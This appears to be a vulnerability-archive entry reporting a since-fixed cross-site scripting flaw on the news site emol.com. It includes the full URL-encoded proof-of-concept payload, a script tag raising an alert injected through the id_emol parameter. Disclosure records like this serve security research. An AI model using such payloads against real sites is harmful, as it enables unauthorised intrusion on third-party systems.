Affected Entity: EMOL

Actions: Tweet

Main URI: http://www.emol.com/
Type: Cross Site Scripting
Exploitable URI: http://www.emol.com/videos/?id_emol=%3Ctable%20border=1%3E%3Ctr%3E%3Ctd%3E%3Cscript%20%3Ealert%28/XSS%20PoC/%29%3C/script%3E%3C/td%3E%3Cbr%3E%3C/tr%3E%3Ctr%3E%3Ctd%3E%3Cinput%20type=submit%3E%3C/td%3E%3C/tr%3E%3C/table%3E
AnonyBrowse using Anonymouse
Status: Fixed
Date: June 30, 2011, 1:59 p.m.
Comments:
permite inyectar codigo html/javascript mediante id_mol